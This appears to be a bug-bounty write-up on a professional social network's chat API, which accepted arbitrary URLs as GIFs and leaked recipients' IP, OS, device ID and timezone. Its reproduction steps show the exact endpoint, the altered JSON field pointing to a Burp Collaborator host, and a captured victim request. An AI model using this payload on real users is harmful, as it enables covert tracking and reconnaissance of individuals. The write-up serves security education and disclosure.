Quick answer
A professional social network accepted an arbitrary URL as a GIF in its chat API. When the victim opened the chat, their device loaded that URL and exposed IP, operating system, browser, phone model, timezone and device ID to the attacker's server. The pattern: a decorative feature nobody audits.
The messaging API
Every message sent fired an HTTP request to:
POST /voyager/api/voyagerMessagingDashMessengerMessages?action=createMessage
The request body varies by content type (text, attachments, GIFs). Each has its own JSON structure. And inside the GIF structure was the problem.
The design flaw
When a GIF is sent, the content URL travels in the parameter:
message.renderContentUnions.externalMedia.media.url
The platform didn't validate that URL. No domain allowlist, no content-type check, nothing. Any URL was valid, including one from an external server controlled by the attacker.
When the chat was opened, the victim's device made a request to that URL to load the GIF. That request leaked, with no sanitization whatsoever:
| Leaked data | What it gives an attacker |
|---|---|
| Operating system and version | Searching for specific exploits |
| Browser and version | Client fingerprinting |
| IP address | Geolocating the victim |
| Phone model | Technical profile of the device |
| Timezone | Activity pattern and region |
| Device ID | Unique device identifier |
On iPhone the amount of leaked data was noticeably larger than on Android or a web browser.
Technically it's a Client-Side Request Forgery + Information Disclosure: the victim's device is forced to make a request to an arbitrary server, which receives the client's metadata.
Look where people don't tend to look
The vector for this finding was the chat's GIF keyboard, a secondary feature nobody audits because nobody considers it an attack vector. Yet it generated an HTTP request with an unvalidated URL parameter.
In mature programs, this is where you have to look: decorative features, third-party integrations, features shipped fast. They're the ones that get the least security review.
Reproduction
Step 1. A test account on the platform + Burp Suite intercepting the traffic.
Step 2. Select a GIF in the chat and capture the request:
POST /voyager/api/voyagerMessagingDashMessengerMessages?action=createMessage
{
"message": {
"renderContentUnions": [{
"externalMedia": {
"media": {
"url": "https://media.giphy.com/media/xxxxx/giphy.gif"
}
}
}]
}
}
Step 3. Replace the url value with a Burp Collaborator URL:
"url": "https://yoursubdomain.burpcollaborator.net"
Step 4. When the victim opens the chat, Collaborator logs the incoming request:
Incoming request from: 185.34.XXX.XXX
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 16_1 like Mac OS X) AppleWebKit/605.1.15...
X-Forwarded-For: 185.34.XXX.XXX
X-Device-ID: ab3f9c...
Root cause
The platform had none of the standard mitigations for this kind of flow:
- Domain allowlist (
giphy.com,tenor.com...). - Content-type validation before passing the URL to the client.
- Image proxy — the most robust solution: the server downloads the content and re-serves it, so the client never contacts any external URL directly (Slack, X and WhatsApp Web implement it this way).
Takeaways
- Any parameter with a URL is a candidate:
url,src,media,redirect,image. If it travels unvalidated, it's a vector. - Audit secondary features (GIFs, stickers, reactions, polls): each generates its own HTTP requests that almost nobody reviews.
- Information Disclosure is underestimated. A specific user's IP + OS + Device ID has high reconnaissance value, especially in targeted attacks.
- In mature programs, the bugs are in the flows that were implemented fast without going through security review.
Related labs
Practice URL abuse in messaging endpoints and Information Disclosure hunting: Information Disclosure labs.
Practice this in a lab
Information Disclosure
Keep learning · free account
Save your progress, unlock advanced payloads and rank your flags.
Related articles
API keys exposed in public HTML — $2,000 without a single bypass
A productivity platform shipped a third-party CMS token in window.CONFIG. Anyone with DevTools could download paid templates. How to hunt this pattern in any SPA app.
CSRF (Cross-Site Request Forgery) — fully explained with bypasses
CSRF: how it's exploited, common defenses (tokens, SameSite, Origin), bypasses (method change, JSON, double-submit, content-type) and where to hunt it in any app.
OAuth attacks — state CSRF, redirect_uri bypass, code/token leakage
The missing state parameter, poorly validated redirect_uri, response_type confusion. How to steal OAuth tokens and force account linking.